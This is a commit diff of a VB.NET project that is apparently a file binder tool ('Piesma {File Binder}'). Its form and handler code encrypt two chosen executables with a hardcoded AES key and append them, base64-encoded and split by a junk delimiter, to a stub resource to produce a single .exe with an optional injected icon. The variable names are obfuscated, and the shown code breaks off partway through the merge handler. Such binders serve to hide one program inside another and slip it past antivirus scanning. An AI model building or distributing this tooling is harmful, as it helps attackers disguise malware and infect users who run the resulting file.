initial commit
This commit is contained in:
i2p
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,22 @@
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
|
||||
Public Class _3DES
|
||||
Public Shared Function Encrypt(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String
|
||||
Dim keyArray As Byte()
|
||||
Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt)
|
||||
If useHashing Then
|
||||
Dim hashmd5 As New MD5CryptoServiceProvider()
|
||||
keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key))
|
||||
Else
|
||||
keyArray = UTF8Encoding.UTF8.GetBytes(key)
|
||||
End If
|
||||
Dim tdes As New TripleDESCryptoServiceProvider()
|
||||
tdes.Key = keyArray
|
||||
tdes.Mode = CipherMode.ECB
|
||||
tdes.Padding = PaddingMode.PKCS7
|
||||
Dim cTransform As ICryptoTransform = tdes.CreateEncryptor()
|
||||
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
|
||||
Return Convert.ToBase64String(resultArray, 0, resultArray.Length)
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,22 @@
|
||||
Imports System.Security.Cryptography
|
||||
|
||||
Public Class AES
|
||||
Public Shared Function Rijndaelcrypt(ByVal File As String, ByVal Key As String)
|
||||
Dim oAesProvider As New RijndaelManaged
|
||||
Dim btClear() As Byte
|
||||
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
|
||||
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
|
||||
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
|
||||
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
|
||||
Dim ms As New IO.MemoryStream
|
||||
Dim cs As New CryptoStream(ms, _
|
||||
oAesProvider.CreateEncryptor(), _
|
||||
CryptoStreamMode.Write)
|
||||
btClear = System.Text.Encoding.UTF8.GetBytes(File)
|
||||
cs.Write(btClear, 0, btClear.Length)
|
||||
cs.Close()
|
||||
File = Convert.ToBase64String(ms.ToArray)
|
||||
Return File
|
||||
End Function
|
||||
|
||||
End Class
|
||||
+375
@@ -0,0 +1,375 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Binder
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim Bloom1 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom2 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom3 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom4 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom5 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom6 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom7 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom8 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom9 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom10 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom11 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom12 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom13 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom14 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom15 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom18 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom19 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom20 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom21 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom22 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom23 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom24 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom25 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom26 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom27 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom28 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom29 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom30 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom31 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom32 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom16 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom17 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Binder))
|
||||
Me.CyberTheme1 = New KryptosPublicVer.CyberTheme()
|
||||
Me.CyberTopButton1 = New KryptosPublicVer.CyberTopButton()
|
||||
Me.CyberGroupBox2 = New KryptosPublicVer.CyberGroupBox()
|
||||
Me.CyberTextBox3 = New KryptosPublicVer.CyberTextBox()
|
||||
Me.CyberCheckBox1 = New KryptosPublicVer.CyberCheckBox()
|
||||
Me.CyberButton1 = New KryptosPublicVer.CyberButton()
|
||||
Me.CyberGroupBox1 = New KryptosPublicVer.CyberGroupBox()
|
||||
Me.CyberButton3 = New KryptosPublicVer.CyberButton()
|
||||
Me.CyberButton2 = New KryptosPublicVer.CyberButton()
|
||||
Me.CyberTextBox2 = New KryptosPublicVer.CyberTextBox()
|
||||
Me.CyberTextBox1 = New KryptosPublicVer.CyberTextBox()
|
||||
Me.CyberButton4 = New KryptosPublicVer.CyberButton()
|
||||
Me.CyberTheme1.SuspendLayout()
|
||||
Me.CyberGroupBox2.SuspendLayout()
|
||||
Me.CyberGroupBox1.SuspendLayout()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'CyberTheme1
|
||||
'
|
||||
Me.CyberTheme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer))
|
||||
Me.CyberTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Bloom1.Name = "Back"
|
||||
Bloom1.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer))
|
||||
Bloom2.Name = "Gradient1"
|
||||
Bloom2.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer))
|
||||
Bloom3.Name = "Gradient2"
|
||||
Bloom3.Value = System.Drawing.Color.FromArgb(CType(CType(20, Byte), Integer), CType(CType(20, Byte), Integer), CType(CType(20, Byte), Integer))
|
||||
Bloom4.Name = "Border1"
|
||||
Bloom4.Value = System.Drawing.Color.FromArgb(CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer))
|
||||
Bloom5.Name = "Border2"
|
||||
Bloom5.Value = System.Drawing.Color.FromArgb(CType(CType(49, Byte), Integer), CType(CType(49, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Bloom6.Name = "Border3"
|
||||
Bloom6.Value = System.Drawing.Color.Black
|
||||
Bloom7.Name = "Line1"
|
||||
Bloom7.Value = System.Drawing.Color.Black
|
||||
Bloom8.Name = "Line2"
|
||||
Bloom8.Value = System.Drawing.Color.Black
|
||||
Bloom9.Name = "Hatch1"
|
||||
Bloom9.Value = System.Drawing.Color.Black
|
||||
Bloom10.Name = "Hatch2"
|
||||
Bloom10.Value = System.Drawing.Color.FromArgb(CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer))
|
||||
Bloom11.Name = "Shade1"
|
||||
Bloom11.Value = System.Drawing.Color.FromArgb(CType(CType(70, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer))
|
||||
Bloom12.Name = "Shade2"
|
||||
Bloom12.Value = System.Drawing.Color.Transparent
|
||||
Bloom13.Name = "Text"
|
||||
Bloom13.Value = System.Drawing.Color.LightBlue
|
||||
Me.CyberTheme1.Colors = New KryptosPublicVer.Bloom() {Bloom1, Bloom2, Bloom3, Bloom4, Bloom5, Bloom6, Bloom7, Bloom8, Bloom9, Bloom10, Bloom11, Bloom12, Bloom13}
|
||||
Me.CyberTheme1.Controls.Add(Me.CyberTopButton1)
|
||||
Me.CyberTheme1.Controls.Add(Me.CyberGroupBox2)
|
||||
Me.CyberTheme1.Controls.Add(Me.CyberButton1)
|
||||
Me.CyberTheme1.Controls.Add(Me.CyberGroupBox1)
|
||||
Me.CyberTheme1.Customization = "GRkZ/yMjI/8UFBT/IiIi/zExMf8AAAD/AAAA/wAAAP8AAAD/IiIi/wAAAEb///8A5tit/w=="
|
||||
Me.CyberTheme1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Me.CyberTheme1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberTheme1.Image = Nothing
|
||||
Me.CyberTheme1.Location = New System.Drawing.Point(0, 0)
|
||||
Me.CyberTheme1.Movable = True
|
||||
Me.CyberTheme1.Name = "CyberTheme1"
|
||||
Me.CyberTheme1.NoRounding = False
|
||||
Me.CyberTheme1.Sizable = False
|
||||
Me.CyberTheme1.Size = New System.Drawing.Size(284, 246)
|
||||
Me.CyberTheme1.TabIndex = 0
|
||||
Me.CyberTheme1.Text = "Piesma {File Binder}"
|
||||
Me.CyberTheme1.TransparencyKey = System.Drawing.Color.Empty
|
||||
'
|
||||
'CyberTopButton1
|
||||
'
|
||||
Bloom14.Name = "BackColor"
|
||||
Bloom14.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer))
|
||||
Bloom15.Name = "TextColor"
|
||||
Bloom15.Value = System.Drawing.Color.LightBlue
|
||||
Me.CyberTopButton1.Colors = New KryptosPublicVer.Bloom() {Bloom14, Bloom15}
|
||||
Me.CyberTopButton1.Cursor = System.Windows.Forms.Cursors.Arrow
|
||||
Me.CyberTopButton1.Customization = "KCgo/+bYrf8="
|
||||
Me.CyberTopButton1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberTopButton1.Image = Nothing
|
||||
Me.CyberTopButton1.Location = New System.Drawing.Point(237, 0)
|
||||
Me.CyberTopButton1.Name = "CyberTopButton1"
|
||||
Me.CyberTopButton1.NoRounding = False
|
||||
Me.CyberTopButton1.Size = New System.Drawing.Size(35, 22)
|
||||
Me.CyberTopButton1.TabIndex = 3
|
||||
Me.CyberTopButton1.Text = "X"
|
||||
Me.CyberTopButton1.Transparent = False
|
||||
'
|
||||
'CyberGroupBox2
|
||||
'
|
||||
Me.CyberGroupBox2.BorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.CyberGroupBox2.Colors = New KryptosPublicVer.Bloom(-1) {}
|
||||
Me.CyberGroupBox2.Controls.Add(Me.CyberButton4)
|
||||
Me.CyberGroupBox2.Controls.Add(Me.CyberTextBox3)
|
||||
Me.CyberGroupBox2.Controls.Add(Me.CyberCheckBox1)
|
||||
Me.CyberGroupBox2.Customization = ""
|
||||
Me.CyberGroupBox2.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberGroupBox2.Image = Nothing
|
||||
Me.CyberGroupBox2.Location = New System.Drawing.Point(12, 123)
|
||||
Me.CyberGroupBox2.Movable = True
|
||||
Me.CyberGroupBox2.Name = "CyberGroupBox2"
|
||||
Me.CyberGroupBox2.NoRounding = False
|
||||
Me.CyberGroupBox2.Sizable = True
|
||||
Me.CyberGroupBox2.Size = New System.Drawing.Size(260, 80)
|
||||
Me.CyberGroupBox2.TabIndex = 2
|
||||
Me.CyberGroupBox2.Text = "Icon"
|
||||
Me.CyberGroupBox2.TextSub = Nothing
|
||||
Me.CyberGroupBox2.TransparencyKey = System.Drawing.Color.Empty
|
||||
'
|
||||
'CyberTextBox3
|
||||
'
|
||||
Me.CyberTextBox3.Colors = New KryptosPublicVer.Bloom(-1) {}
|
||||
Me.CyberTextBox3.Customization = ""
|
||||
Me.CyberTextBox3.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberTextBox3.Image = Nothing
|
||||
Me.CyberTextBox3.Location = New System.Drawing.Point(14, 53)
|
||||
Me.CyberTextBox3.MaximumSize = New System.Drawing.Size(1000, 20)
|
||||
Me.CyberTextBox3.MinimumSize = New System.Drawing.Size(100, 20)
|
||||
Me.CyberTextBox3.Multilined = False
|
||||
Me.CyberTextBox3.Name = "CyberTextBox3"
|
||||
Me.CyberTextBox3.NoRounding = False
|
||||
Me.CyberTextBox3.Size = New System.Drawing.Size(187, 20)
|
||||
Me.CyberTextBox3.TabIndex = 2
|
||||
Me.CyberTextBox3.Text = "Icon Input"
|
||||
Me.CyberTextBox3.Transparent = False
|
||||
'
|
||||
'CyberCheckBox1
|
||||
'
|
||||
Me.CyberCheckBox1.CheckedState = False
|
||||
Bloom18.Name = "CheckBorderOut"
|
||||
Bloom18.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer))
|
||||
Bloom19.Name = "CheckBorderIn"
|
||||
Bloom19.Value = System.Drawing.Color.FromArgb(CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer), CType(CType(59, Byte), Integer))
|
||||
Bloom20.Name = "TextColor"
|
||||
Bloom20.Value = System.Drawing.Color.LightBlue
|
||||
Bloom21.Name = "CheckBack1"
|
||||
Bloom21.Value = System.Drawing.Color.FromArgb(CType(CType(132, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(240, Byte), Integer))
|
||||
Bloom22.Name = "CheckBack2"
|
||||
Bloom22.Value = System.Drawing.Color.LightBlue
|
||||
Bloom23.Name = "CheckFore1"
|
||||
Bloom23.Value = System.Drawing.Color.LightBlue
|
||||
Bloom24.Name = "CheckFore2"
|
||||
Bloom24.Value = System.Drawing.Color.FromArgb(CType(CType(42, Byte), Integer), CType(CType(242, Byte), Integer), CType(CType(77, Byte), Integer))
|
||||
Bloom25.Name = "ColorUncheck"
|
||||
Bloom25.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer))
|
||||
Bloom26.Name = "BackColor"
|
||||
Bloom26.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer))
|
||||
Me.CyberCheckBox1.Colors = New KryptosPublicVer.Bloom() {Bloom18, Bloom19, Bloom20, Bloom21, Bloom22, Bloom23, Bloom24, Bloom25, Bloom26}
|
||||
Me.CyberCheckBox1.Customization = "GRkZ/zs7O//m2K3/8MCE/+bYrf/m2K3/TfIq/yMjI/8ZGRn/"
|
||||
Me.CyberCheckBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberCheckBox1.Image = Nothing
|
||||
Me.CyberCheckBox1.Location = New System.Drawing.Point(14, 31)
|
||||
Me.CyberCheckBox1.MaximumSize = New System.Drawing.Size(600, 16)
|
||||
Me.CyberCheckBox1.MinimumSize = New System.Drawing.Size(16, 16)
|
||||
Me.CyberCheckBox1.Name = "CyberCheckBox1"
|
||||
Me.CyberCheckBox1.NoRounding = False
|
||||
Me.CyberCheckBox1.Size = New System.Drawing.Size(72, 16)
|
||||
Me.CyberCheckBox1.TabIndex = 0
|
||||
Me.CyberCheckBox1.Text = "Use Icon"
|
||||
Me.CyberCheckBox1.Transparent = False
|
||||
'
|
||||
'CyberButton1
|
||||
'
|
||||
Bloom27.Name = "BackColor"
|
||||
Bloom27.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer))
|
||||
Bloom28.Name = "TextColor"
|
||||
Bloom28.Value = System.Drawing.Color.LightBlue
|
||||
Me.CyberButton1.Colors = New KryptosPublicVer.Bloom() {Bloom27, Bloom28}
|
||||
Me.CyberButton1.Cursor = System.Windows.Forms.Cursors.Arrow
|
||||
Me.CyberButton1.Customization = "KCgo/+bYrf8="
|
||||
Me.CyberButton1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberButton1.Image = Nothing
|
||||
Me.CyberButton1.Location = New System.Drawing.Point(70, 209)
|
||||
Me.CyberButton1.Name = "CyberButton1"
|
||||
Me.CyberButton1.NoRounding = False
|
||||
Me.CyberButton1.Size = New System.Drawing.Size(143, 25)
|
||||
Me.CyberButton1.TabIndex = 1
|
||||
Me.CyberButton1.Text = "Merge Files"
|
||||
Me.CyberButton1.Transparent = False
|
||||
'
|
||||
'CyberGroupBox1
|
||||
'
|
||||
Me.CyberGroupBox1.BorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.CyberGroupBox1.Colors = New KryptosPublicVer.Bloom(-1) {}
|
||||
Me.CyberGroupBox1.Controls.Add(Me.CyberButton3)
|
||||
Me.CyberGroupBox1.Controls.Add(Me.CyberButton2)
|
||||
Me.CyberGroupBox1.Controls.Add(Me.CyberTextBox2)
|
||||
Me.CyberGroupBox1.Controls.Add(Me.CyberTextBox1)
|
||||
Me.CyberGroupBox1.Customization = ""
|
||||
Me.CyberGroupBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberGroupBox1.Image = Nothing
|
||||
Me.CyberGroupBox1.Location = New System.Drawing.Point(12, 32)
|
||||
Me.CyberGroupBox1.Movable = True
|
||||
Me.CyberGroupBox1.Name = "CyberGroupBox1"
|
||||
Me.CyberGroupBox1.NoRounding = False
|
||||
Me.CyberGroupBox1.Sizable = True
|
||||
Me.CyberGroupBox1.Size = New System.Drawing.Size(260, 85)
|
||||
Me.CyberGroupBox1.TabIndex = 0
|
||||
Me.CyberGroupBox1.Text = "Choose Files"
|
||||
Me.CyberGroupBox1.TextSub = Nothing
|
||||
Me.CyberGroupBox1.TransparencyKey = System.Drawing.Color.Empty
|
||||
'
|
||||
'CyberButton3
|
||||
'
|
||||
Bloom29.Name = "BackColor"
|
||||
Bloom29.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer))
|
||||
Bloom30.Name = "TextColor"
|
||||
Bloom30.Value = System.Drawing.Color.LightBlue
|
||||
Me.CyberButton3.Colors = New KryptosPublicVer.Bloom() {Bloom29, Bloom30}
|
||||
Me.CyberButton3.Cursor = System.Windows.Forms.Cursors.Arrow
|
||||
Me.CyberButton3.Customization = "KCgo/+bYrf8="
|
||||
Me.CyberButton3.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberButton3.Image = Nothing
|
||||
Me.CyberButton3.Location = New System.Drawing.Point(207, 55)
|
||||
Me.CyberButton3.Name = "CyberButton3"
|
||||
Me.CyberButton3.NoRounding = False
|
||||
Me.CyberButton3.Size = New System.Drawing.Size(40, 20)
|
||||
Me.CyberButton3.TabIndex = 3
|
||||
Me.CyberButton3.Text = "..."
|
||||
Me.CyberButton3.Transparent = False
|
||||
'
|
||||
'CyberButton2
|
||||
'
|
||||
Bloom31.Name = "BackColor"
|
||||
Bloom31.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer))
|
||||
Bloom32.Name = "TextColor"
|
||||
Bloom32.Value = System.Drawing.Color.LightBlue
|
||||
Me.CyberButton2.Colors = New KryptosPublicVer.Bloom() {Bloom31, Bloom32}
|
||||
Me.CyberButton2.Cursor = System.Windows.Forms.Cursors.Arrow
|
||||
Me.CyberButton2.Customization = "KCgo/+bYrf8="
|
||||
Me.CyberButton2.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberButton2.Image = Nothing
|
||||
Me.CyberButton2.Location = New System.Drawing.Point(207, 29)
|
||||
Me.CyberButton2.Name = "CyberButton2"
|
||||
Me.CyberButton2.NoRounding = False
|
||||
Me.CyberButton2.Size = New System.Drawing.Size(40, 20)
|
||||
Me.CyberButton2.TabIndex = 2
|
||||
Me.CyberButton2.Text = "..."
|
||||
Me.CyberButton2.Transparent = False
|
||||
'
|
||||
'CyberTextBox2
|
||||
'
|
||||
Me.CyberTextBox2.Colors = New KryptosPublicVer.Bloom(-1) {}
|
||||
Me.CyberTextBox2.Customization = ""
|
||||
Me.CyberTextBox2.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberTextBox2.Image = Nothing
|
||||
Me.CyberTextBox2.Location = New System.Drawing.Point(14, 55)
|
||||
Me.CyberTextBox2.MaximumSize = New System.Drawing.Size(1000, 20)
|
||||
Me.CyberTextBox2.MinimumSize = New System.Drawing.Size(100, 20)
|
||||
Me.CyberTextBox2.Multilined = False
|
||||
Me.CyberTextBox2.Name = "CyberTextBox2"
|
||||
Me.CyberTextBox2.NoRounding = False
|
||||
Me.CyberTextBox2.Size = New System.Drawing.Size(187, 20)
|
||||
Me.CyberTextBox2.TabIndex = 1
|
||||
Me.CyberTextBox2.Text = "File #2 "
|
||||
Me.CyberTextBox2.Transparent = False
|
||||
'
|
||||
'CyberTextBox1
|
||||
'
|
||||
Me.CyberTextBox1.Colors = New KryptosPublicVer.Bloom(-1) {}
|
||||
Me.CyberTextBox1.Customization = ""
|
||||
Me.CyberTextBox1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberTextBox1.Image = Nothing
|
||||
Me.CyberTextBox1.Location = New System.Drawing.Point(14, 29)
|
||||
Me.CyberTextBox1.MaximumSize = New System.Drawing.Size(1000, 20)
|
||||
Me.CyberTextBox1.MinimumSize = New System.Drawing.Size(100, 20)
|
||||
Me.CyberTextBox1.Multilined = False
|
||||
Me.CyberTextBox1.Name = "CyberTextBox1"
|
||||
Me.CyberTextBox1.NoRounding = False
|
||||
Me.CyberTextBox1.Size = New System.Drawing.Size(187, 20)
|
||||
Me.CyberTextBox1.TabIndex = 0
|
||||
Me.CyberTextBox1.Text = "File #1 "
|
||||
Me.CyberTextBox1.Transparent = False
|
||||
'
|
||||
'CyberButton4
|
||||
'
|
||||
Bloom16.Name = "BackColor"
|
||||
Bloom16.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer))
|
||||
Bloom17.Name = "TextColor"
|
||||
Bloom17.Value = System.Drawing.Color.LightBlue
|
||||
Me.CyberButton4.Colors = New KryptosPublicVer.Bloom() {Bloom16, Bloom17}
|
||||
Me.CyberButton4.Cursor = System.Windows.Forms.Cursors.Arrow
|
||||
Me.CyberButton4.Customization = "KCgo/+bYrf8="
|
||||
Me.CyberButton4.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberButton4.Image = Nothing
|
||||
Me.CyberButton4.Location = New System.Drawing.Point(207, 53)
|
||||
Me.CyberButton4.Name = "CyberButton4"
|
||||
Me.CyberButton4.NoRounding = False
|
||||
Me.CyberButton4.Size = New System.Drawing.Size(40, 20)
|
||||
Me.CyberButton4.TabIndex = 4
|
||||
Me.CyberButton4.Text = "..."
|
||||
Me.CyberButton4.Transparent = False
|
||||
'
|
||||
'Binder
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(284, 246)
|
||||
Me.Controls.Add(Me.CyberTheme1)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.Name = "Binder"
|
||||
Me.CyberTheme1.ResumeLayout(False)
|
||||
Me.CyberGroupBox2.ResumeLayout(False)
|
||||
Me.CyberGroupBox1.ResumeLayout(False)
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents CyberTheme1 As KryptosPublicVer.CyberTheme
|
||||
Friend WithEvents CyberButton1 As KryptosPublicVer.CyberButton
|
||||
Friend WithEvents CyberGroupBox1 As KryptosPublicVer.CyberGroupBox
|
||||
Friend WithEvents CyberTextBox2 As KryptosPublicVer.CyberTextBox
|
||||
Friend WithEvents CyberTextBox1 As KryptosPublicVer.CyberTextBox
|
||||
Friend WithEvents CyberGroupBox2 As KryptosPublicVer.CyberGroupBox
|
||||
Friend WithEvents CyberTextBox3 As KryptosPublicVer.CyberTextBox
|
||||
Friend WithEvents CyberCheckBox1 As KryptosPublicVer.CyberCheckBox
|
||||
Friend WithEvents CyberTopButton1 As KryptosPublicVer.CyberTopButton
|
||||
Friend WithEvents CyberButton3 As KryptosPublicVer.CyberButton
|
||||
Friend WithEvents CyberButton2 As KryptosPublicVer.CyberButton
|
||||
Friend WithEvents CyberButton4 As KryptosPublicVer.CyberButton
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,103 @@
|
||||
Public Class Binder
|
||||
Dim XOXOXOXOOXOXOOXOOXOXOOXOXOX, XOIJSOIJDOIJAOSIDJOIJASD As String
|
||||
|
||||
#Region "Buttons"
|
||||
Private Sub CyberTopButton1_Click(sender As System.Object, e As System.EventArgs) Handles CyberTopButton1.Click
|
||||
Me.Close()
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
|
||||
#Region "Rijndael -SECURE-UNSECURE-"
|
||||
|
||||
|
||||
Function Secure(ByVal data As Byte()) As Byte()
|
||||
Using SA As New System.Security.Cryptography.RijndaelManaged
|
||||
SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
|
||||
SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
|
||||
Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
|
||||
End Using
|
||||
End Function
|
||||
Function Unsecure(ByVal data As Byte()) As Byte()
|
||||
Using SA As New System.Security.Cryptography.RijndaelManaged
|
||||
SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
|
||||
SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
|
||||
Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
|
||||
End Using
|
||||
End Function
|
||||
#End Region
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Private Sub CyberButton1_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton1.Click
|
||||
Try
|
||||
Dim S As New SaveFileDialog
|
||||
With S
|
||||
.FileName = "*.exe"
|
||||
.Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
|
||||
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
|
||||
.Title = "Choose an output directory..."
|
||||
If .ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
Dim POKSPDFOKSPO As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(CyberTextBox1.Text))
|
||||
Dim oifjaosdifjoaisdjf As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(CyberTextBox2.Text))
|
||||
Dim oijfadsoifjaosdfroert As String = "ofaijsdf9843j9f84ijoaew9m328qtiuhfeicwqh9t8m3449jf438j9gq8rjigoidflasfgorijge"
|
||||
Dim Buffer As Byte() = My.Resources.BinderResource
|
||||
My.Computer.FileSystem.WriteAllBytes(.FileName, Buffer, False)
|
||||
IO.File.AppendAllText(.FileName, oijfadsoifjaosdfroert & Convert.ToBase64String(POKSPDFOKSPO) & oijfadsoifjaosdfroert & XOXOXOXOOXOXOOXOOXOXOOXOXOX & oijfadsoifjaosdfroert & Convert.ToBase64String(oifjaosdifjoaisdjf) & oijfadsoifjaosdfroert & XOIJSOIJDOIJAOSIDJOIJASD)
|
||||
If CyberCheckBox1.CheckedState = True Then
|
||||
IconChanger.InjectIcon(S.FileName, CyberTextBox3.Text)
|
||||
Else
|
||||
End If
|
||||
